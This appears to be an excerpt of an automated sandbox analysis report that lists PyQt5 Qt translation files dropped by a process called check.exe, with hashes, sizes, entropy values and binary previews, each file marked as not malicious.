Entropy (8bit):	4.755193800761075
Encrypted:	false
SSDEEP:	3072:XzswP2UvZ5aZ9jFTkmq/gnBNW/+PcWrqm2Vliz0DGdaS4KSLZjwTTgwUR0toT:j3m27AjCT
MD5:	859CE522A233AF31ED8D32822DA7755B
SHA1:	70B19B2A6914DA7D629F577F8987553713CD5D3F
SHA-256:	7D1E5CA3310B54D104C19BF2ABD402B38E584E87039A70E153C4A9AF74B25C22
SHA-512:	F9FAA5A19C2FD99CCD03151B7BE5DDA613E9C69678C028CDF678ADB176C23C7DE9EB846CF915BC3CC67ABD5D62D9CD483A5F47A57D5E6BB2F2053563D62E1EF5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......daB..4......h....+......@...f...A.......B.......C.......D...U...E.......F...v...G.......H.......I.......P.......Q.......R...6...S...Z...T...~...U.......V.......W..."...X...F...Y...j...]..+....s.......t..................-...;..+....;..,....;../....;..;....M..+....O.......O...r...........}..,............=...8...m..,0...t...c......T...(5..B...+;..NH..+;..~H..+O..,...1...UP..D@......E@......H4...E..HY..j...H.......IC...#..J....J..J.......J.......LD......L....1..PS...B..QR......R...o...T.......U.......X.......Zr......[`...W..\....}..]x...[.._....-.._.......yg...e..1...O....E..R....7..........-!......]............................$..k....[...7...,.......y...c...y.................j4...........9..l8...E..p............z...;..................%..a....D...~.............-.....L......OH.....Uz...5.......0.......0...U...0.......0..p....5...7...5..L$..............p... D..-... D..i...+....@..<U.....<U.....<....S..H5..-2..H5..j$..L....B..VE.. ...VE..P...V......f...e...f.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	220467
Entropy (8bit):	4.626295310482312
Encrypted:	false
SSDEEP:	3072:7w8go8+ph6JVB8XVXYWpSNEeg8+vaD+p4N8DDiEKugwGZulh15ce4M+4NsPYXCZW:88h8Sj286tTiDD
MD5:	40760A3456C9C8ABE6EA90336AF5DA01
SHA1:	B249AA1CBF8C2636CE57EB4932D53492E4CE36AC
SHA-256:	553C046835DB9ADEF15954FA9A576625366BA8BFD16637038C4BCD28E5EBACE1
SHA-512:	068E55F39B5250CC937E4B2BD627873132D201D351B9351BE703CD9B95D3BAFB4BD649CB4DF120A976D7C156DA679758D952CAC5E0523107244E517D323BC0C5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......de_DEB..7....*.......+..3....@..R....A..R....B..S....C..S@...D..S....E..T]...F..T....G..T....H..T....I..U#...P..W....Q..W6...R..W....S..W....T..W....U..W....V..XG...W..Xk...X..X....Y..X....]..2%...s..J$...t..9R......J.......B....;..1....;..3....;..q....;.......M..2O...O.......O..X@......ia...}..2y......Q....=..Q....m..2....t..Q...........(5......+;..ev..+;......+O..oh..1....4..D@..R...E@..WZ..H4..4...HY...[..H...AY..IC..>o..J...>...J.......J...>6..LD..@A..L...@...PS..I...QR..#...R....h..T...W...U...Xh..U....~..X...]...Zr..e(..[`..)...\...j...]x..O..._....K.._...lI..yg...U..1...f....E..i....7..........o.......wG......6.......6.......8....$...n...[..8....,..9....y.......y..=................3......>....9.......E..."......?_...z..#d.......0......A%...%..z....D..A.......B......KP......2.............^...5..B....0.......0..p....0..F....0...}...5..G....5..........H........... D..3}.. D...O..+...Q...<?..Ti..<U......<U..T...<...U)..H5..3...H5......L...X...VE..%j..V...l..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165170
Entropy (8bit):	4.679910767547088
Encrypted:	false
SSDEEP:	1536:JVwzuvb+Ta64KQd84arHX5pxiVhA8QlOD/BnFNa8NsvsfFsfcoZtIx6F:JVwSTG4KqVaLX5pEVK7OJFczstgRtIx8
MD5:	C7C58A6D683797BFDD3EF676A37E2A40
SHA1:	809E580CDBF2FFDA10C77F8BE9BAC081978C102B
SHA-256:	4FFDA56BA3BB5414AB0482D1DDE64A6F226E3488F6B7F3F11A150E01F53FA4C8
SHA-512:	C5AED1A1AA13B8E794C83739B7FDDEAFD96785655C287993469F39607C8B9B0D2D8D222ECD1C13CF8445E623B195192F64DE373A8FB6FE43743BAF50E153CDA5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......es_ESB../......,...+...y...@.......A.......B.......C.......D...v...E...=...F.......G.......H.......I.......P.......Q... ...R...k...S.......T.......U.......V...1...W...U...X...y...Y.......]..+....s.......t...................c...;..+....;..,....;...%...;..#....;..-....M..+....O.......O...............}..,............=...]...m..,/...t..........A...(5..3...+;..<...+;..o...+O..!b..1...Ap..D@......E@...D..H4...-..HY..[F..H.......IC...%..J....L..J.......J.......LD......L....O..PS......QR..!...R...`K..T.......U....&..X.......Zr.....[`...h..\......]x...\|.._....Y.._....A..yg......1...=....E..?a......!.......K........G...............R...$..\Q...[.......,...z...y.......y..................+............9..\....E..2............z.. ....................%..ON...D........................:......=B.....A....5...7...0.......0......0.."....0...,...0..3....5...}...5...Y..............a... D..-!.. D..Z6..+....0..<U...h..<U......<.......H5..-M..H5..Z...L.......VE.."...VE..>...V......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_fi.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	179941
Entropy (8bit):	4.720938209922096
Encrypted:	false
SSDEEP:	3072:lvdTgO2Yl97ZWnbgTLt/Tf9IlqAeiy5uWkYGM0wNCdRjSK2YUlUs:lvdkA9vh5uWkY0MK2YXs
MD5:	8472CF0BF6C659177AD45AA9E3A3247C
SHA1:	7B5313CDA126BB7863001499FB66FB1B56C255FC
SHA-256:	E47FE13713E184D07FA4495DDE0C589B0E8F562E91574A3558A9363443A4FA72
SHA-512:	DE36A1F033BD7A4D6475681EDC93CC7B0B5DCB6A7051831F2EE6F397C971B843E1C10B66C4FB2EFF2A23DC07433E80FBF7B95E62C5B93E121AB5AD88354D9CB8
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fiB..38.....ct...+......@.......A.......B.......C...@...D.......E...]...F.......G.......H.......I...#...P.......Q...6...R.......S.......T.......U.......V...G...W...k...X.......Y.......]......s...T...t.......................;......;..+....;..&....;..3....M..+!...O.......O...e...........}..+K...........=.......m..+w...t..........J...(5..9...+;..:y..+;..mW..+O..$...1...KY..D@......E@...Z..H4...l..HY..X&..H.......IC......J.......J...."..J......LD.....L.......PS...'..QR.. L..R...]...T.......U.......X.......Zr......[`......\.......]x......_....k.._....>..yg.. /..1...;....E..>....7..{(......%.......J........T.......&.......U...$..Y[...[......,...s...y.......y...a.......}......d...........9..Y....E..k'...........z...........V..........%..M....D...Q.......{......d.....A......E......K....5.......0.......0..&J...0.......0..k....5......5..I9.............._:.. D..,O.. D..W...+....9..<U...G..<U...*..<.......H5..,y..H5..W...H5......L....5..VE..!u..VE..E...V..."{..f.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	166167
Entropy (8bit):	4.685212271435657
Encrypted:	false
SSDEEP:	1536:CLZ1w8McowCppcPwL5pYFw+G00QsbLckCiWxvq+sjs06oFm:C91wxcowspc4L5pUw+cz39CiQ7tloFm
MD5:	1F41FF5D3A781908A481C07B35998729
SHA1:	ECF3B3156FFE14569ECDF805CF3BE12F29681261
SHA-256:	EDB32A933CEF376A2636634E14E2977CED6284E4AA9A4AC7E2292F9CA54C384A
SHA-512:	A492E8AC88095A38A13549C18C68E1F61C7054AB9362C2B04C65B93E48E4A07941C8DA6950BAE79041094623E0ED330CA975110FDE8248B4D9380B9F729AD891
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fr_FRB../....*..-....+.......@.......A.......B.......C...?...D.......E...\...F.......G.......H.......I..."...P.......Q...5...R.......S.......T.......U.......V...F...W...j...X.......Y.......]..+....s...=...t.......................;..+....;..,....;.......;..$b...;.......M..,....O.......O...5...........}..,3...........=.......m..,]...t..........A...(5..5j..+;..<T..+;..o...+O.."+..1...B\..D@......E@...Y..H4...8..HY..[{..H.......IC......J.......J.......J.......LD...\|..L.......PS...?..QR..!...R...`j..T.......U....[..X.......Zr.....[`...)..\......]x......_....7.._.......yg...i..1...=Q...E..?@......"Y......K............................$..\....[...^...,...'...y.......y...+.......o....../c.......Y...9..\....E..6(...........z..!................j...%..OC...D...+.......[......a.....;......>......B....5.......0.......0...m...0..#....0.......0..6....5.......5..................a... D..-Y.. D..Ze..+....]..<U...;..<U......<.......H5..-...H5..Z...L.......VE.."...VE..?...V......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_gd.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	189580
Entropy (8bit):	4.630160941635514
Encrypted:	false
SSDEEP:	1536:SiaI3C87jhakhR0VGkw7ys7CskUH6y4e6IFB4xyMuhvDnJGhFaCo527arBbm07LZ:S2yGjh17yGqxTXhvQoejJd8FUjVgk
MD5:	EB1FB93B0BE51C2AD78FC7BA2F8B9F42
SHA1:	24F7FF809E2F11C579CD388FEA5A4C552FF8D4D0
SHA-256:	63B439DD44139AA3AED54C2EBE03FA9BC77F22C14ED8FBA8EFF2608445BB233D
SHA-512:	E13770AEF33B6666ED7D54E03EE20CA291D4167D673BA6C61D8E64CDD5F7FFE0A9521B95AF67BE719BF263932ECF16E2B2D0B5F3404F9BCD7879114FCC6FC474
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gd_GBB..2....*...u...+......@.......A...B...B.......C.......D.. ....E.. ....F..!&...G..!J...H..!n...I..!....P..#m...Q..#....R..#....S..$....T..$$...U..$H...V..$....W..$....X..$....Y..%....]../....s...'...t...................F...;.......;../....;..=V...;..G....M../G...O.......O...k......$....}../o.......i...=.......m../....t..........[...(5..M...+;..@...+;..x...+O..:...1...\7..D@...f..E@..#...H4...p..HY..be..H.......IC......J.......J....R..J.......LD......L.......PS......QR..#l..R...g...T.......U.......X....\..Zr......[`......\...&...]x......_....C.._...'t..yg..?...1...BM...E..D.......;.......R'.......t.......@.......?...$..c....[......,...i...y.......y...Y.......f.......+...........9..c....E...............z.."....................%..U....D..................G.....UB.....W......\]...5.......0.......0..<....0...;...0.......5.......5..ij..............h... D..0... D..aC..+....K..<U.....<U...~..<.......H5..0...H5..a...L....1..VE..$...VE..X...V...8\|..f...Z...f...=..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_he.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	138690
Entropy (8bit):	5.515748942553918
Encrypted:	false
SSDEEP:	3072:XSue8Z7T3iJsqBejt/zNHSLzdetY2ZISfC/S:XSueK3w7Ijt8zUtYAISfC/S
MD5:	DEAF87D45EE87794AB2DC821F250A87A
SHA1:	DB39C6BAA443AA9BB208043EF7FB7E3403C12D90
SHA-256:	E1EBCA16AFE8994356F81CA007FBDB9DDF865842010FE908923D873B687CAD3F
SHA-512:	276FCE81249EFFE19E95607C39F9ACB3A4AFA3F90745DA21B737A03FEA956B079BCA958039978223FD03F75AC270EC16E46095D0C6DDA327366C948EC2D05B9C
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......he_ILB../....*......+..Sw...@......A......B.......C.......D...X...E.......F.../...G...O...H...o...I......P.......Q.......R...I...S...i...T......U......V.......W.......X.../...Y...O...]..$....s......t..X:.......4......`Y...;..$....;..%....;.......;...5...;.......M..$....O...6...O..s............}..%-...........=...m...m..%k...t..........^..(5......+;..2...+;..^...+O...N..1.......D@......E@...(..H4..T...HY..L...H..._...IC..\...J...\...J.......J...\j..LD..^...L...^o..PS..fl..QR......R...Q...T...su..U...s...X...x3..Zr..~...[`..L\..\.......]x....._......._....o..yg...(..1...3....E..5C.......z......?V......U.......U.......W....$..M....[..W....,..X....y.......y..\........a..............\@...9..NO...E...?......]s...z...G.......(......^....%..B^...D.._......._.................... ..........5..`/...0.......0...L...0......0..d(...0......5..ek...5..........fB......R... D..&O.. D..K...+...l...<U......<U..p)..<...p...H5..&w..H5..La..L...s...VE......VE......V.....

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	160494
Entropy (8bit):	4.831791320613137
Encrypted:	false
SSDEEP:	3072:BmOMZadV9n51xXeQvjOiIzz7/Vs9Db3ihuJNvMfWxBNlYzYbTrIkfwb03l24cNKu:HkWa5pg0MahBHDd
MD5:	E9D302A698B9272BDA41D6DE1D8313FB
SHA1:	BBF35C04177CF290B43F7D2533BE44A15D929D02
SHA-256:	C61B67BB9D1E84F0AB0792B6518FE055414A68E44D0C7BC7C862773800FA8299
SHA-512:	12947B306874CF93ABA64BB46FAC48179C2D055E770D41AF32E50FFFB9F0C092F583AFCEA8B53FE9E238EF9370E9FFFBEB581270DFA1A7CB74EBE54D9BFF459F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......hu_HUB../...........+.......@.......A...0...B...{...C.......D.......E.......F.......G...<...H...`...I.......P...s...Q.......R.......S.......T......U...N...V.......W.......X.......Y.......]..+y...s.......t.......................;..+Q...;..,U...;.......;.......;..&....M..+....O.......O...U..........}..+............=.......m..+....t..........9c..(5..,...+;..;...+;..m7..+O......1...9...D@...T..E@......H4...v..HY..Y...H.......IC......J.......J.......J.......LD......L.......PS...}..QR..!...R...]...T.......U....{..X.......Zr...=..[`......\......]x...-.._......._......yg...M..1...<....E..>...............J........T.......(.......S...$..Z....[.......,...u...y.......y...[...............#...........9..Z....E..#&...........z..!'...................%..Mv...D..._....................32.....5......9....5.......0...h...0...E...0.......0.......0..#....5...Z...5...........G......_2.. D..,... D..W...+....W..<U......<U...B..<.......H5..,...H5..X{..L....)..VE.."...VE..6l..V.....

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	161172
Entropy (8bit):	4.680034416311688
Encrypted:	false
SSDEEP:	1536:eSfxfdO4BKJb0td5pqCOIUP/PFIM7gxGQ9sRrFM6QJ4m8ihkM:eSfxFO4BKJb0td5pnOrvCqg9mRK4IkM
MD5:	88D040696DE3D068F91E0BF000A9EC3E
SHA1:	F978B265E50D14FDDE9693EC96E99B636997B74D
SHA-256:	7C7DC8B45BF4E41FEC60021AB13D9C7655BE007B8123DB8D7537A119EB64A366
SHA-512:	F042637B61C49C91043D73B113545C383BD8D9766FD4ACC21675B4FF727652D50863E72EA811553CB26DF689F692530184A6CE8FE71F9250B5A55662AFE7D923
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......it_ITB../....*.......+.......@.......A..."...B...m...C.......D.......E.......F.......G...0...H...T...I...x...P...q...Q.......R.......S.......T...(...U...L...V.......W.......X.......Y.......]..+....s...'...t...................^...;..+[...;..,g...;.......;.......;..!B...M..+....O...D...O...........(...}..+........I...=.......m..,....t..........4...(5..'...+;..<...+;..oV..+O......1...5...D@...F..E@......H4...J..HY..Z...H.......IC...L..J....s..J....j..J.......LD......L....f..PS......QR..!...R..._...T.......U....3..X.......Zr......[`...Q..\.......]x......_......._....0..yg...C..1...=....E..?o..............Kf.......h.......8.......I...$..[....[.......,...m...y...9...y...........z.......z...........9..\=...E..$u.......:...z.. k...................%..N....D..................M............0......5/...5...2...0.......0...0...0...A...0...)...0..$....5.......5...J.......a......a... D..,... D..Y...+.......<U......<U......<....v..H5..-...H5..Z...L.......VE.."c..VE..1...V....X.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	129911
Entropy (8bit):	5.802855391832282
Encrypted:	false
SSDEEP:	1536:W8YYSCjKBJ26c1Z7f25pVmuLXpxfqt7FEUWNrfQje9kWI23pKXvx:xYuKBJ01Z7u5pQuLbESUWNzAAI23pKfx
MD5:	608B80932119D86503CDDCB1CA7F98BA
SHA1:	7F440399ABA23120F40F6F4FCAE966D621A1CC67
SHA-256:	CBA382ACC44D3680D400F2C625DE93D0C4BD72A90102769EDFD1FE91CB9B617B
SHA-512:	424618011A7C06748AADFC2295109D2D916289C81B01C669DA4991499B207B781604A03259C546739A3A6CF2F8F6DFA753B23406B2E2812F5407AEE343B5CBDD
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......jaB../....*...'...+..=....@.......A.......B...?...C...c...D......E......F.......G.......H..."...I...F...P.......Q...'...R...r...S......T......U.......V...8...W...\...X......Y......].."k...s...Q...t..A...............I....;.."C...;..#A...;.......;.......;.......M.."....O...B...O..[?......h....}.."........m...=.......m.."....t...........M..(5......+;......+;..WU..+O......1.......D@......E@...K..H4..>=..HY..F...H...Hr..IC..E...J...F...J.......J...E...LD..Gz..L...G...PS..O...QR......R...K!..T...Z...U...[e..X..._f..Zr..e...[`..7...\...i...]x...'.._......._...j...yg..~+..1.../....E..1?.......#......:.......?.......?n......A....$..G....[..Ap...,..B....y.......y..Ew......\|...............E....9..H....E..........F....z...]..............HL...%..=R...D..H.......I!......[......J......M..........5..It...0...3...0.......0...C...0..M....0...a...5..N....5..........N.......L6.. D..#... D..E...+...U%..<U......<U..X ..<...X...H5..#...H5..FK..L...[...VE......VE......V......f.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	156799
Entropy (8bit):	5.859529082176036
Encrypted:	false
SSDEEP:	1536:rvTy18hhPekHs1iNXVExWbStnn8TExgkYOvYejZOvXx4Mmf0MwUL8smk/pDZyy:y18hJ61nMStnn8TOgknQRLWZmkxNyy
MD5:	082E361CBAC2E3A0849F87B76EF6E121
SHA1:	F10E882762DCD2E60041BDD6CC57598FC3DF4343
SHA-256:	0179ED1B136E1CB3F583351EAA2C545BA3D83A6EE3F82C32505926A1A5F5F183
SHA-512:	F378A42116924E30FA0B8FFF1D3C3CB185DC35B2746DCE2818BE7C2AA95C5DE103DF44AAC74DA969C36C557F1D4DE42AC7647EC41066247F8AD2697BDED667EA
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......koB..7...........+.......@...K...A...o...B......C.......D...8...E.......F...U...G...y...H......I.......P......Q.......R.......S...C...T...g...U.......V.......W.......X...-...Y...Q...]..$....s...>...t...................y...;..${...;..%....;...u...;...l...M..$....O.......O...8...........}..$............=...C...m..%!...t...n..........(5...a..+;..E@..+;..l\|..+O......1.......D@.....E@......H4......HY..\...H....]..IC......J.......J....8..J.......LD...a..L.......PS......QR......R...`...T.......U....^..U.......X....y..Zr......[`..y...\....A..]x......_......._....o..yg......1...FJ...E..HE...7..................Q........a.......5...........$..]....[...;...,.......y.......y...V...............!.......\|...9..]....E...R...........z...4.......f.......5...%..Te...D..................D......^................5...S...0.......0.......0.......0.......5.......5...........n......a... D..%... D..[...+.......<?......<U...;..<U...+..<.......H5..&...H5..\...L.......VE......V....A..f.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_lv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153608
Entropy (8bit):	4.843805801051326
Encrypted:	false
SSDEEP:	3072:y5pmbKIhooMbGe91MrjOhmGzP6LJbWz5XIxELpU6:yObeqrjPGzeJyJLy6
MD5:	BD8BDC7BBDB7A80C56DCB61B1108961D
SHA1:	9538C4D8BB9A95C0D9DC57C7708A99DD53A32D1F
SHA-256:	846E047573AE40C83671C3BA7F73E27EFC24B98C82701DA0DF9973E574178BB2
SHA-512:	F040EC410EBFEA21145F944E71ADCAE8E5F60907D1D3716A937A9A59A48F70C6B7EAAC91C2C554F59357A7BC820CDBD17C73A4DECC20B51F68EB79EDD35C5554
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......lv_LVB..........B...+..y....@.......A...=...B......C......D.......E.......F...#...G...G...H...k...I.......P...~...Q......R.......S.......T...5...U...Y...V......W.......X.......Y.......]..%....s.......t...8.......n.......A...;..&....;.......;...!...;...A...;../....M..%....O.......O...............}..%...........=.......m..&....t...(......(g..(5...+..+;..4...+;..d...+O......1...(...D@...a..E@......H4..z...HY..Q...H.......IC......J....6..J.......J.......LD......L....9..PS......QR......R...U...T....S..U.......X...._..Zr......[`..r...\.......]x....._......._....{..yg......1...5v...E..7........(......B.......\|.......\|W......~r...$..R....[..~....,.......y...l...y...............................9..S....E...g...........z...z...................%..F....D........................"Z.....$......)....5.......0...\...0.......0...r...0.......0.......5...a...5..........J......V... D..&... D..P...+.......<U......<U......<.......H5..'"..H5..P...L....~..VE...R..VE..%...V......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	162982
Entropy (8bit):	4.841899887077422
Encrypted:	false
SSDEEP:	1536:sXpestp/YIFtDT8FIWYbIJmPYuIpnmxAk6mwyJNqSm9+P:sxpTDT8FIWfJmdCmxApmbnqSm9+P
MD5:	F9475A909A0BAF4B6B7A1937D58293C3
SHA1:	76B97225A11DD1F77CAC6EF144812F91BD8734BD
SHA-256:	CE99032A3B0BF8ABAD758895CC22837088EAD99FD2D2514E2D180693081CFE57
SHA-512:	8A4F1B802B6B81FF25C44251FB4A880E93E9A5FE25E36825A24BFE0EFB34E764E7E1EE585D3A56554964B7921E7813C67F12D200D6E0C5EAF4BB76B064B5C890
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......pl_PLB..0......"....+.......@...F...A...j...B......C.......D...3...E.......F...P...G...t...H.......I.......P.......Q.......R.......S...>...T...b...U.......V.......W.......X...(...Y...L...]......s.......t...r.......o.......+...;......;..+....;..."...;... ...M......O...6...O...........a...}..+...........=.......m..+G...t...G......,...(5......+;..:...+;..k...+O......1...-[..D@.....E@......H4...U..HY..WU..H.......IC......J....6..J.......J.......LD......L....%..PS......QR.. ...R...[...T....1..U.......X......Zr......[`......\.......]x...A.._......._....}..yg......1...;W...E..=........%......H....................$..Xp...[.......,.......y...i...y...........}......$R...........9..X....E..+)...........z.. E...................%..K....D...p....................&......(......-....5.......0.......0...e...0.......0..+....5...]...5...........f......]-.. D..,%.. D..V?..+....V..<U......<U......<....-..H5..,M..H5..V...L....Z..VE..!...VE..)...V.......f...P...f....K..f......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	203767
Entropy (8bit):	5.362551648909705
Encrypted:	false
SSDEEP:	1536:hn4dEJ63pdhPpy6gu5fs4MHQv6sLlxnrncF423ZL9xyuXwdcX8LZuf76CW+WeXFx:aN3pdV5fZbpItXsttRY+WSq
MD5:	5096AD2743BF89A334FBA6A2964300D4
SHA1:	405F45361A537C7923C240D51B0FF1C46621C203
SHA-256:	3DA6605668F9178D11A838C4515478084DCFB4F9CF22F99D7A92B492DB9C224B
SHA-512:	7B88B501792B5831426BAA669138192ED94CC3F8323A3DF9D5287655DC4D877706908C517AB7523AE8A283BF50B47123F13B8AE40EA2F3081C3459EDC47FC8DD
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ru_RUB..7.......L...+...W...@..,....A..,....B..-1...C..-U...D..-....E...r...F.......G.......H../....I../8...P..1'...Q..1K...R..1....S..1....T..1....U..2....V..2\...W..2....X..2....Y..2....].......s..$c...t...'......%........r...;..-....;.......;..J....;..V....M...C...O.......O..&.......8....}...m......+3...=..+....m.......t..+.......p...(5..]@..+;..[0..+;......+O..H...1...qM..D@..-...E@..1o..H4...p..HY..xm..H......IC...@..J....g..J.......J.......LD......L....p..PS......QR..!...R...}...T...&...U...'...U...ki..X...+...Zr..3...[`......\...:...]x..)..._......._...;...yg..S...1...\....E..__...7.........H.......k................j.......U...$..y....[.......,.......y...k...y...............................9..y....E...O...........z..!*...................%..nW...D.................%w.....g......j~.....qw...5...H...0.......0..I....0..._...0......5.......5..................~... D../k.. D..wa..+....?..<?.."t..<U......<U.."...<...#z..H5../...H5..w...L...&...VE.."...V...F$.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	125763
Entropy (8bit):	4.80343609423322
Encrypted:	false
SSDEEP:	3072:roXDuC1u/2lUBGjJirE5tsd/aev1GIfOdvhw:OucMGjH5tbm
MD5:	3D60E50DCBCBD70EE699BC9B1524FCB9
SHA1:	0211B4911B5B74CC1A46C0FCA87D3BF5632AA44A
SHA-256:	D586AE2C314074CF398417FDECB40709D5478DFEB0A67C2FE60D509EE9B59ED7
SHA-512:	F98211867F1DBCB8A342C00E23FA5718BE6E999F7449CB8470B41BF0F527C7F78CC4D6666E28968F32E96026907156753979BFADA7E6BF4225D02A902D24906D
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......sk_SKB..$x...*.......+..>....@......A......B.......C.......D...3...E...Z...F......G......H.......I.......P.......Q...D...R.......S......T.......U.......V...1...W...X...X.......Y......]...Y...t..D-......K....;...3...;.......;.......;......;...V...M.......O.._ ......l....}.......m...........T..(5...(..+;......+;..%...+O......1......E@...k..F.......H4..?I..HY..@7..H...J...I....,..IC..HT..J...H{..J...H...LD..J"..L...Jv..PS..Q...R...D...Zr..i]..[`..7...\...nB.._...o...1...&....E..(........B......19......A.......A....$..AF...[..C....,..D....y..G.......v........g......G....9..A....E..........IH...%..4.......Kf..............................5..K....0...,...0.......0.......0..Of...0.......5..P....5..........E... D...C.. D..?'..+...Y`..<U......<U..\...<...]...H5...m..H5..?...L...^...VE......f.......f...8...g.......l...aP.......................6......d....D..f(...`..f...............?....`..h5...y..H....5..j........E...e.......e..@....... ......>......oZ......l..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	194487
Entropy (8bit):	4.877239354585035
Encrypted:	false
SSDEEP:	3072:yRRhAFCvqDBitD/iDG9AOH+l4TcwZBPqHo9fd9CFRK+2IKAimxsjucV2p0ZqvRu7:yRRHs5mksWVX3lA3
MD5:	6CBC5D8E1EABEC96C281065ECC51E35E
SHA1:	4E1E6BA3772428227CB033747006B4887E5D9AD1
SHA-256:	6A0BF6E70E7920C2B193E76E92F78F315936955D3B06AC039D917F2E06C43281
SHA-512:	CE1F9EE180176153D5F523D71E0DB06F4DEA65C24E5E2CD56341CFAEE349A8E9A0F606D99F7219A35DD4516D1528C90AEA4BB87548A55392B8F2B36164D478B1
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......tr_TRB..7....*.......+...-...@.......A.......B.......C...%...D.......E...F...F.......G.......H.......I.......P.. ....Q.. ....R..!D...S..!h...T..!....U..!....V.."....W.."0...X.."T...Y.."x...]..,g...s.../...t......................;..,9...;..-I...;..9@...;..E....M..,....O.......O...G...........}..,............=...\...m..,....t.........._3..(5..LJ..+;..Wt..+;...\..+O..7...1..._...D@......E@..!...H4...@..HY..t...H....2..IC...r..J......J....D..J....K..LD...$..L....x..PS......QR..!...R...x...T.......U....q..U...Y...X...."..Zr...%..[`......\....:..]x......_......._.......yg..6...1...X....E..[....7...Z......7Q......f............................$..u....[...:...,...5...y.......y...........7...............!...9..u....E...........P...z.. ........p...........%..j....D..................A.....U......Y......_....5...V...0.......0..8....0...U...0.......5.......5..~b..............z+.. D..-... D..s...+.......<?...8..<U...s..<U...p..<.......H5..-...H5..s...L.......VE.."0..V...4..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	158274
Entropy (8bit):	5.402056706327934
